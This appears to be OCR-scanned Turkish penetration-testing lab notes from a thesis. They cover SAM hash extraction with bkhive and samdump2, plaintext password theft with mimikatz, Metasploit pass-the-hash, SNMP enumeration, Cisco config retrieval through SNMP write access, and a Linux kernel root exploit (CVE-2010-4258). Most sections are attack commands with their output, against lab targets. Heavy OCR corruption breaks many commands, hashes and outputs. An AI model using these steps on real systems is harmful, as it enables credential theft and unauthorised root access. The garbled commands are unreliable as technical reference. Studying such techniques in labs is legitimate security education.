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1)
Bu belgede yer alacak basliklar sunlardir:

a. Windows parolasinin SAM dosyasindan hash olarak cekilmesi

b. Mimikatz tool'unu kullanarak Windows parolasinin hash olarak degil de acik secik diiz
metin olarak cekilmesi

c. Metasploit kullanarak Pass The Hash Yapma (Yani hash'i kirmadan direk hash'le hedef
sisteme login olabilme)

. SNMP Servisi Uzerinden Hedef Sistem Hakkinda Bilgi Toplama

e. SNMP'nin Write Ozelligi Sayesinde Hedef Cihazin Konfigurasyon Ayarlarim
Cekebilmek

f. Linux Cekirdegindeki Zafiyet Sayesinde Hak Yiikseltebilmek
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2)

Windows Parolasinin Reboot Edilerek SAM Dosyasindan Cekilmesi
Sistem backtrack live cd ile boot edilir. Terminalde Tiirkce Q klavyesi sikintis1 yasamamak icin live
terminaline

> setxkbmap tr

yukaridaki kod girilebilir. Ardindan yapilacak islemler sunlardir: Once HDD’nin partition’lar
listelenecektir. Iclerinden windows'a ait olan partition tespit edilecektir ve o partition Backtrack'm
bir klasoriine mount edilecektir. Sonra o klasor icerisinden Windows'un SAM dosyasini barindiran
dizinine gecis yapip bkhive tool’u ile SAM dosyasi bir txt dosyasina cekilecektir. Son olarak da txt
dosyasina cekilen SAM dosyasinin icerigi samdump?2 tool’undan gecip ¢ikan yeni ¢ikt1 yeni bir txt
dosyasina yazdirilacaktir. Bdylelikle windows hesap 6zetlerinin okunabildigi txt dosyasini elde
edebilmis olacagiz. Simdi bu bahsedilen adimlari sirasiyla yapalim.

NOT: Bahsedilen adimlar1 Kali Live CD yerine Ubuntu iizerinden tatbik etmis bulunmaktayim ve
basaril bir sekilde Ubuntu yaninda kurulu olan Windows 10'nun hesap &zetlerini elde edilmis
bulunmaktayim. Bu konuda daha detayh bilgi i¢cin Tez Raporu/internetten Edinilmis Kiymetli
Bilgiler/Elden Gecirdigim Notlar/Ubuntu'dan SAM Dosyasim1 Cekme.docx belgesine gz
atabilirsin.

Once HDD’nin partition’larini siralayalim:

> sudo su
> fdisk -1

Output:



root@hefese-N61Jq: /home/hefese
root@hefese-N61Jq: /home /hefese#t fdisk -1

Disk /dev/sda: 640.1 GB, 640135028736 bytes

255 heads, 63 sectors/track, 77825 cylinders, total 1250263728 sectors

Units = sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: @Oxedc5913d

End Blocks

N 858076905 429038421+

858077184 859076607 499712

859079342 1250259631 195590145

859079344 1237830319 189375488

1237832368 1250259631 6213632
root@hefese-N6131q: /home /hefese#

System
HPFS/NTFS/exFAT
Hidden NTFS WinRE
W95 Ext'd (LBA)
Linux

Linux swap / Solaris|

NOT: Ciktida partition'lar temiz goriinsiin diye bilgisayardan

USB'yi ve SD Card" cikarttim.

> mount /dev/sdal /root/

> cd /root/
> s

Output:

P

root@hefese-N61Jq: ~

root@hefese-N613q: /home/hefese#
root@hefese-N61Jq:~# 1s

BOOTSECT.BAK

Ardindan Windows'a ait oldugunu diisiindiigiimiiz partition't mount edelim. Fakat eger hangisinin
Windows'a ait oldugunu bilemezsek sirayla mount edebilir ve windows dizinlerine hangisinden
ulagabiliyorsak o partition'in Windows'a ait oldugunu 6grenebiliriz.

// Sistem restart oldugunda bu islem geri alimyor.

cd froot/

globdata.ini
HaxLogs.

txt

hiberfil.sys

and Settings

install.
LtExt install.
install.
install.
install.
install.
install.
install.
install.
install.
install.

.1031. txt
.1033.txt
.1036. txt
.1040. txt
.1041. txt
.1042. txt
.2052. txt
.3082. txt

root@hefese-N61Jq:~# I

exe
ini

res.
res.
res.
res.
res.
res.
res.
res.
res.

/root dizinine gidildiginde windows klasorleri goriintiileneceginden sdal'in windows'a ait bir
partition oldugunu anlariz.

pagefile.sys

swapfile.sys

VC_RED.cab
vcredist.bmp
VC_RED.MSI

SWINRE_BACKUP_PARTITION.MARKER



Gorildiigi tizere Program Files klasori falan listelenmis. Artik /root klasorii altindan Windows
dosyalarina erisebilir durumdayiz. Windows'un SAM dosyasini agmak icin 6nce /Windows/
System32/config dizinine gidilir.

> cd /root/Windows/System32/config

Ardindan bhhive tool'u ile SAM dosyas1 bir txt dosyasina ¢ekilir.

> bkhive SYSTEM key.txt

Output:

root@hefese-N61Jq: ~/Windows/System32/config

rootghefese-N61Jq:~# cd /root/Windows/System32/config

root@hefese-N61Jq:~/Windows/System32/config# bkhive SYSTEM ke
bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : ROOT

Default ControlSet: 801

Bootkey: 59cc58986587a17cAc5e795facfaddf
root@hefese-N61Jq:~/Windows/System32/config#

Son olarak elde edilen SAM dosyasi samdump? tool'u ile agik secik hale getirilir ve samdump.txt
dosyasina kaydedilir.

> samdump2 SAM key.txt > samdump.txt

Output:

root@hefese-N61Jq: ~/Windows/System32/config

root@hefese-N61Jq:~/Windows/Syste i SAM key.txt > samdump.txt
samdump2 1.1.1 by Objectif Securite

http://www.objectif-securite.ch

original author: ncuomo@studenti.unina.it

Root Key : ROOT
root@hefese-N613q:~/Windows/System32/config#

Boylelikle hesap 6zetlerini elde etmis oluruz.

> cat samdump.txt



Output:

root@hefese-N61.Jq: ~/Windows/System32/config

root@hefese-N61Jq:~/Windows/System32 /config# cat samdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0c08
9ch:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73¢59d7e0c089¢CO:
[9503:aad3b435b51404eeaad3bd35b51404ee:31d6cFe0d16ae931b73c59d7e0c089¢0: : :
Hasan:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73¢59d7e0c089¢cO:::
root@hefese-N61Jq:~/Windows/System32/config#
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3)

Windows Parolasin1 Acik Haliyle Elde Etme

Mimikatz Tool'unu Kullanarak windows parolasini acik bir sekilde, yani hash'lenmemis haliyle elde
etmemiz miimkiindiir. Bunun i¢in 6ncelikle sisteme 6rnegin bir exploit ile s1zilmis olmal ve
akabinde meterpreter ya da sysinternal psexec adli payload'lardan biri sisteme birakilmis olmasi
gerekmektedir. Hedef sisteme birakilan bu payload'lar kullanarak mimikatz adl tool'u hedef
sisteme yiikleyebilir ve bu yiiklenen tool {izerinden hedef sistemin parolasini kusursuzca
makinamiza c¢ekebiliriz.

Diyelim ki hedef sisteme bir exploit ile sizdik ve meterpreter payload'u ile de hedef sisteme
mimikatz tool'unu upload ettik. Simdi yapilmas: gereken meterpreter payload'u ile hedef sistemin
shell'ini (komut satirin1) komut satirnmiza getirmektir ve mimikatz exe'nin oldugu dizine gecis yapip
mimikatx tool'unu ¢alistirmaktir.

> cd C:\mimikatz_trunk\Win32 // mimikatz klasoriiniin icine gidilir.
> mimikatz.exe // mimikatz exe'si calistirilir.

Ardindan sirayla asagidaki kodlar girilerek sifrenin acik hali elde edilir.

> privilege::debug
> sekurlsa::logonPasswords full

Output:

* Username : Administrator
* Domain : WIN7-PENTEST
* Password : bga

Goriildiigii tizere parolanin bga oldugu 6grenilmistir. Bu islemde parola kirma gibi bir siire¢
yiiriitilmemisir. Ciinkii Windows igletim sistemleri sistem agikken parolalarin terslenebilir halini
RAM iizerinde tutmaktadirlar. Yani SAM'deki gibi terslenemez halini degil. Dolayisiyla ¢ok az bir
kiilfetle terslenebilir parola terslenmistir ve sifre elimize ge¢mistir.



NOT: Hash'ler terslenemezdirler. Yani bir hash'ten tersine desifreleme yaparak asil sifre elde
edilemez. Bunun yerine sirayla string'ler hash'lenir ve mevcut hash'le eslesiyor mu diye kontrol
edilir. Ne zaman eglesme olursa hash'lenen o string paroladir denir. Halbuki RAM'de tutulan
windows parolasi terslenebilir formatta tutulmaktadir. Dolayisiyla mimikatz tool'u bunu tersleyip
parolayi bize diiz metin olarak verebilmistir.

NOT 2: Burada yapilan parola tespit islemi birebir olarak Kali ve Windows XP (Dandik) iizerinden
denenmistir. Daha detayli anlatim i¢in Tez Raporu/internetten Edinilmis Kiymetli Bilgiler/Elden
Gecirdigim Notlar/Windows Parolasinin Direk Acik Halini Ele Gegirme.docx belgesini
okuyabilirsin.
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4)

Parolasiz Sisteme Erisim (Pass the Hash with Metasploit) // Denendi, ama bagarili olunamadi!
Hatirlarsan 2. maddedeki “Windows Parolasinin Reboot Edilerek SAM Dosyasindan Cekilmesi”
bashginda hedef isletim sisteminin parolasini hash olarak bilgisayarimiza ¢ekmistik. Bu parolanin
ne oldugunu 6grenmek icin John The Ripper gibi bir aragla normalde kirmamiz gerekir. Fakat bu
hash'i kirmadan da hedef sisteme oldugu gibi girerek uzaktan login olabilmekteyiz. iste bu isleme
literatiirde Pass the Hash denmektedir (bkz. https://en.wikipedia.org/wiki/Pass_the_hash) Bunun
icin metasploit'in bir Windows SMB exploit'i olan psexec modiiliinii kullanacagiz. Oncelikle
metasploit'i baglatalim:

> msfconsole
Ardindan psexec exploit'ini aratalim:

msf > search psexec

Output:
Matching Modules
Name Disclosure Date Rank Description
exploit/windows/smb/psexec 1999-01-01 manual
exploit/windows/smb/smb_relay =~ 2001-03-31 excellent

Teee 1999 yilinin exploit olan psexec'i secelim:
msf > use exploit/windows/smb/psexec

Ardindan exploit'in parametrelerini hedef sisteme gore dolduralim.
msf exploit(psexec) > set RHOST 192.168.2.5
msf exploit(psexec) > set SMBUser Administrator

msf exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee  // SAM'den
/1 elde edilen



// hash konur
Windows sistemleri Windows 7'den itibaren Administrator kullanicisi disindaki kullanicilarin
uzaktan sistem komutu calistirmalarini varsayilan olarak engelledigi icin SMBUser parametresine
Administrator degeri konmustur. Parametreler yukaridaki gibi konduktan sonra exploit calistirilarak
hedef sistemde oturum agmis oluruz ve komut satirt komut satirimiza gelir.

msf exploit(psexec) > exploit
NOT: Ben exploit dedigimde asagidaki hatay1 aldim, yani basarili olamadim

[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed
Basarili olundugu takdirde elimizdeki hash ile SMB servisi tizerinden sisteme login olabilmig
oluruz. Yani parolanin kendisini girmeden, hash'i kullanarak...
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5)

SNMP Uzerinden Bilgi Toplama  (Denendi, basarih olunamadi)
Hedef sistemde calisan SNMP servisi iizerinden hedef sistem hakkinda bilgi toplayabiliriz. Bunun
icin 6ncelikle hedef sistemde SNMP portu, yani port 161 acik m1 degil mi kontrolii yapalim.

>nmap -p 161 -sU 192.168.2.25
Output:

PORT STATE SERVICE
161/udp open  snmp // Bende open yerine open | filtered olmustu.

Goriildiigii tizere hedef sistemde SNMP portu olan 161. portun agik oldugu tespit edilmistir.
Dolayisiyla simdi hedef sistemde acik olan SNMP servisi iizerinden hedef sistem hakkinda bilgi
toplamak icin snmpcheck tool'unu kullanalim (snmp tool'u kali'de mevcut):

> snmpcheck -t 192.168.2.25
Output:
[*] Try to connect to 192.168.2.25
[*] Connected to 192.168.2.25
[*] Starting enumeration at 2015-04-02 03:44:40

[*] System Information

Hostname : bee-box
Description : Linux bee-box 2.6.24-16-generic



Uptime system : 2 hours 47:13:70
[*] Devices Information

id type status description

1025 Network Running network interface lo

1026 Network Running network interface ethO

3072 Processor Unknown Intel(R) Core i7-4710HQ @ 2.50GHz

SNMP servisi iizerinden hedef sistemi tanimaya yardimci olan gesitli bilgiler yukaridaki gibi elde
edilebilir. Fakat yukarida snmpcheck'in buldugu bilgilerden sadece System Information ve Devices
Information kismui verilmistir. Normalde snmp servisi lizerinden asagidaki basliklarin tiimii ile
alakal bilgi edinilebilir.

[*] System Information

[*] Devices Information

[*] Storage Information

[*] Processes

[*] Network Information

[*] Network Interfaces

[*] Routing Information

[*] Listening TCP Ports and connections
[*] Listening UDP Ports

[*] Mountpoints

NOT: Ben snmpcheck'i kullandigimda herhalde open | filtered olayindan dolay: yukaridaki
bilgilendirici ¢ikt1 yerine hata mesaj1 aldim.

6)

SNMP Write Ozelligi Sayesinde Hedef Cihaz'in Ayarlarim Cekebilmek

Hedef sistemdeki SNMP protokolii yazma haklari ile yapilandirildig: takdirde herhangi birisi hedef
sisteme sizarak hedef sistemin ag konfigurasyon ayarlarini ¢ekebilir. Yani bunun yapilabilmesinin
nedeni hedef sistemdeki SNMP servisinin Write 6zelliginin enabled edilmesinden dolayidir. Peki
nasil yapilir? Bunu gostermek adina diyelim ki hedef sistem Cisco C3725 model bir router olsun.
Simdi bu router'in konfigurasyon ayarlarin1 cekmek {izere izlenen adimlari izleyelim:

a. i1k olarak hedef sistemde SNMP servisi var m1 yok mu diye kontrol yapilr.

>nmap -p 161 -sU 192.168.0.1

Output:

PORT STATE SERVICE
161/udp open  snmp

Goriildiigii tizere SNMP servisi hedef sistemde varmus.



b. SNMP servisi var olduguna gére simdi bu snmp servisi yazma hakkina sahip mi degil mi kontrol
edilir. Bunun i¢in snmpcheck tool'u -w parametresi ile kullanilir. (snmpcheck tool'u Kali'de
mevcut).

> snmpcheck -t 192.168.0.1 -w

Output:
snmpcheck v1.8 — SNMP Enumerator
Copyright (c) 2005-2011 by Matteo Cantoni (www.nothink.org)

[*] Try to connect to 192.168.0.1

[*] Connected to 192.168.0.1

[*] Starting enumeration at 2016-04-03 18:24:27
[*] Write access enabled!

[*] Checked 192.168.0.1 in 0.07 seconds.

Goriildiigii tizere hedef cihazdaki SNMP hizmeti yazma yetkisine sahip sekilde yapilandirilmis.

c. Hedef cihaz yazma yetkisi enabled olan SNMP hizmetine sahip olduguna gére metasploit ile
hedef cihazin konfigurasyon ayarlarim artik hedef cihazdan cekebiliriz demektir. Bunun igin
metasploit'in cisco_config_tftp modiiliinii kullanalim.

> msfconsole

msf > use auxiliary/scanner/snmp/cisco_config_tftp

msf auxiliary(cisco_config_tftp) > set RHOSTS 192.168.0.1
msf auxiliary(cisco_config_tftp) > run

Boylece hedef cihazin konfigurasyon ayarlar1 metasploit'in .msf4/loot klasorii icerisine
kaydolacakur. ilgili konfigurasyon dosyasim yazdirmak igin asagidaki kodu girebiliriz:

> cat .msf/loot/cisco.ios.config_391860.txt

Output:



version 124

senice imestamps debug daletime msec
senvice timestamps log datetime msec
no service password-encryption

|

hosiname R1
|

boot-start-marker
boot-end-marker
|
[
no aaa new-model

|

resource policy

|

memory-size iomem 5

ip subnel-zero

no ip icmp rate-imit unreachable
ip cef

ip tcp symwait-time 5

|

na ip domain lookup
|

|
interface FastEthernet0/0

ip address 2.2.2.1 255.255.256.0
duplex auto

speed auto

|

interface FastEthermet/t
no ip address

shutdown

duplex auto

speed auto

|

ip classless
|

na ip hitp server
o ip hitp secure-sener

Ag cihazinin konfigurasyon ayarlar1 normalde ¢ok 6nemli bilgiler bulundurur. Fakat burada test
edilen cihaz sonucta test icin var oldugundan yukarida 6nemli bir bilgi bulunmamaktadir.
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7)

Linux Cekirdegindeki Zafiyet Sayesinde Hak Yiikseltebilmek
Linux cekirdeginde cikan yerel bir giivenlik zafiyeti kullanilarak kisith haklardan root haklarina
ulasabiliriz. Diyelim ki s1izdigimiz sistem linux ve cekirdegi giivenlik zafiyeti barindiriyor. Bu



sisteme ise kisith bir kullanici ile erisebilmekteyiz. Root haklarina kavusabilmek icin 6nce exploit-
db sitesinden ilgili script manuel olarak indirilir.

www. exploit-db.com

B3 Sqli-Labs Series

Linux Kernel <= 2.6.37 Local Privilege Escalation

EDB-ID: 15704 CVE: 2010-4258 OSVDB-ID: N/A
Author: Dan Rosenberg Published: 2010-12-07 Verified: ¥ Rating
ok A A B A Mwercenl. F5 AL
o Opening 15704.c
Exploit Code: 5§ Vulnerable # P g

You have chosen to open:
Previous Exploit ¢ 15704.c

which is a: Document (9.4 KB)
from: http://www.exploit-db.com

What should Firefox do with this file?

Hi all, (=)Open with| Xcode (default)
I've included here a proof-of-con Save File
for Linux. Please read the heade
on. Without further ado, I pr'es.]_ Do this automatically for files like this from now on.
Happy hacking,
Dan |
‘, Cancel | [ ilDK
--snin--

Bu script sizilan sisteme yiiklenir ve sizilan sistemdeki gcc derleyicisi ile asagidaki gibi derlenir.
test@hedefSistem > gcc 15704.c -o rootPrivilege
NOT: Sizilan sistemde gcc derleyicisinin var oldugu varsayilmistir.

Ardindan derlenen script asagidaki gibi calistirilarak root haklar elde edilir.
test@hedefSistem > ./rootPrivilege

Output:
Hey Congratulations... You are root.

Script basarili bir sekilde ¢alistig1 takdirde komut satirindaki kullanici ismi root olur ve boylelikle
artik root'un yapabilecegi tiim islemleri yapabiliriz.

root@hedefSistem > ...

Burada root haklarini elde edebilmemizi saglayan sey hedef sistemin ¢ekirdegindeki giivenlik
aciginin yamalanmamis olmasindan dolaydir.
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